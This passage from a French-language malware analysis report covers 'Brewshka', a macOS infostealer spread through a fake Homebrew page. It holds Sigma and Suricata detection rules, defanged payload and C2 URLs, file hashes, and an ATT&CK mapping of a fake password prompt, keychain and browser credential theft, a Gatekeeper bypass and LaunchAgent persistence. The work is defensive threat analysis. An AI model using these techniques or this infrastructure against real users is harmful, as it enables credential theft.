    CommandLine|contains|all:
      - "dscl"
      - "-authonly"

  selection_kill:
    CommandLine|contains: "killall Terminal"

  selection_tmp_exec:
    Image|contains:
      - "/tmp/"
      - "/var/folders/"

  selection_osascript:
    Image|endswith: "/osascript"
    CommandLine|contains: "display dialog"

  condition: 2 of selection_*

falsepositives:
  - Legitimate administrative scripts (rare)
  - Developer or troubleshooting activities involving temporary execution and system tools

level: high

7.2 Détection réseau (Suricata)

Enfin, une détection réseau peut être mise en place afin d’identifier la phase d’exfiltration. Comme observé précédemment, les données collectées sont regroupées dans une archive ZIP, puis envoyées vers un endpoint spécifique via une requête HTTP POST au format multipart.

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"Brewshka Infostealer Exfiltration";
    flow:established,to_server;

    http.method; content:"POST";
    http.uri; content:"/api/reports/upload";
    http.header; content:"multipart/form-data";

    http.request_body;
    pcre:"/name=\"(user_id|build_tag|report_file)\"/";
    content:".zip";

    classtype:trojan-activity;
    sid:4201200;
    rev:1;
)

8. IOC

# Type IOC Contexte
1 SHA256 67e6dc4b6407aa9909a5cd25c918dbff75d2b174efedcae0a037fe517fc6ece0 Empreinte SHA256 du binaire.
2 SHA1 831898665d5fd4966ab4012410da6c3ab6e4039b Empreinte SHA1 du binaire.
3 MD5 27010951848d037013b3fdcb94c162e7 Empreinte MD5 du binaire.
4 ssdeep 6144:rU7HX6JxtMMy/Oj174Kfiu7n0EZGSpoFD6o/JPCBs5YNGj9TXaow5uO:rULutW/Oj174KfiuL0Ipm/JaBs5WGds Empreinte floue ssdeep du binaire.
5 Nom de fichier Brewshka Nom du payload final téléchargé et exécuté.
6 URL hxxp://144[.]31[.]236[.]51/Yokifoza URL du script shell récupéré par la première commande curl.
7 URL hxxp://144[.]31[.]236[.]51/Brewshka URL de téléchargement du payload final.
8 URL / C2 hxxp://196[.]251[.]107[.]171:3000 URL du serveur C2 extraite de la configuration désobfusquée.
9 Endpoint C2 hxxp://196[.]251[.]107[.]171:3000/api/reports/upload Endpoint utilisé pour l’exfiltration de l’archive ZIP.
10 Répertoire ~/.hlpr Répertoire caché utilisé comme espace auxiliaire local pour certains fichiers intermédiaires, notamment autour du mot de passe récupéré.
11 Fichier ~/.hlpr/.pass Fichier utilisé pour stocker ou réutiliser le mot de passe récupéré via le faux prompt.
12 LaunchAgent ~/Library/LaunchAgents/com.hlpr.agent.plist Fichier LaunchAgent utilisé pour la persistance utilisateur macOS.

9. Mapping MITRE ATT&CK

Tactique Technique ID Élément observé dans l’analyse
Initial Access / Execution User Execution: Malicious Copy and Paste T1204.004 L’utilisateur est incité à copier-coller une commande shell depuis une fausse page Homebrew sponsorisée.
Execution Command and Scripting Interpreter: Unix Shell T1059.004 Exécution de commandes via /bin/bash, notamment curl, base64 -d, chmod, xattr, ditto et lancement du binaire Brewshka.
Execution Command and Scripting Interpreter: AppleScript T1059.002 Utilisation de osascript pour afficher un faux prompt macOS et exécuter le script de file grabbing.
Command and Control Ingress Tool Transfer T1105 Téléchargement du script Yokifoza puis du payload Brewshka depuis l’infrastructure distante avec curl.
Defense Evasion Obfuscated Files or Information T1027 Commande initiale encodée en Base64 et configuration interne du malware obfusquée par XOR avec rotation de clé.
Defense Evasion Deobfuscate/Decode Files or Information T1140 Décodage de la commande Base64 puis désobfuscation runtime du blob de configuration contenant le C2, les extensions ciblées et les messages utilisateur.
Defense Evasion Subvert Trust Controls: Gatekeeper Bypass T1553.001 Suppression des attributs étendus du binaire avec xattr -c, pouvant retirer l’attribut de quarantaine macOS lorsqu’il est présent.
Defense Evasion Masquerading T1036 Utilisation de noms et messages trompeurs comme System Preferences, Brewshka ou com.hlpr.agent pour donner une apparence légitime à l’exécution.
Discovery System Information Discovery T1082 Collecte d’informations système via system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType.
Credential Access / Collection Input Capture: GUI Input Capture T1056.002 Affichage d’un faux prompt macOS via AppleScript demandant à l’utilisateur de saisir son mot de passe.
Credential Access Credentials from Password Stores: Keychain T1555.001 Copie du fichier ~/Library/Keychains/login.keychain-db et tentative de traitement/déchiffrement avec le mot de passe récupéré.
Credential Access Credentials from Password Stores: Credentials from Web Browsers T1555.003 Collecte d’artefacts navigateurs tels que Login Data, Cookies, Web Data, logins.json, key4.db et Cookies.binarycookies.
Collection Data from Local System T1005 Collecte de fichiers utilisateur, documents, wallets, données navigateur et artefacts locaux depuis le système compromis.
Collection Data Staged: Local Data Staging T1074.001 Regroupement principal des données collectées dans un répertoire temporaire aléatoire avant compression et exfiltration, tandis que .hlpr est utilisé en parallèle pour certains fichiers auxiliaires locaux.
Collection Archive Collected Data: Archive via Utility T1560.001 Compression des données collectées dans une archive ZIP avec ditto -c -k --sequesterRsrc.
Command and Control Application Layer Protocol: Web Protocols T1071.001 Communication avec le C2 en HTTP, notamment vers hxxp://196[.]251[.]107[.]171:3000.
Exfiltration Exfiltration Over C2 Channel T1041 Exfiltration de l’archive ZIP vers /api/reports/upload via une requête HTTP POST multipart avec curl.
Persistence Create or Modify System Process: Launch Agent T1543.001 Création du LaunchAgent ~/Library/LaunchAgents/com.hlpr.agent.plist avec RunAtLoad et KeepAlive.

10. Conclusion

Cette analyse met en évidence une campagne d’infostealer macOS capable de collecter un large ensemble de données sensibles, incluant les identifiants stockés dans les navigateurs, le trousseau macOS (login.keychain-db), des documents utilisateur ainsi que des wallets de cryptomonnaies, avant leur exfiltration vers une infrastructure contrôlée par l’attaquant. Au-delà des mécanismes techniques, l’élément central de cette attaque reste le facteur humain. L’infection repose entièrement sur l’exécution volontaire d’une commande présentée comme légitime, dans un contexte de confiance. Ce type de scénario montre que des techniques simples peuvent être particulièrement efficaces dès lors qu’elles exploitent les habitudes des utilisateurs. Dans ce contexte, la sensibilisation aux risques liés au copy-paste de commandes et à l’installation de logiciels depuis des sources non vérifiées constitue un levier de défense essentiel, au même titre que les mécanismes de détection techniques.

10.1 Récapitulatif de la chaîne d’infection

Étape Phase Description
1 Vecteur d'attaque Usurpation de Homebrew via une page frauduleuse sponsorisée.
2 Exécution Téléchargement et exécution du payload Brewshka depuis une commande shell.
3 Credential Access Faux prompt macOS pour récupérer le mot de passe utilisateur.
4 Collection & Exfiltration Collecte de données sensibles (mots de passe navigateur, wallets, fichiers utilisateur), puis exfiltration vers le C2.
5 Persistance Mise en place d’un LaunchAgent pour maintenir l’accès.

11. Sources

Les sources suivantes ont été utilisées pour contextualiser l’analyse et rapprocher certains comportements de l’écosystème MioLab :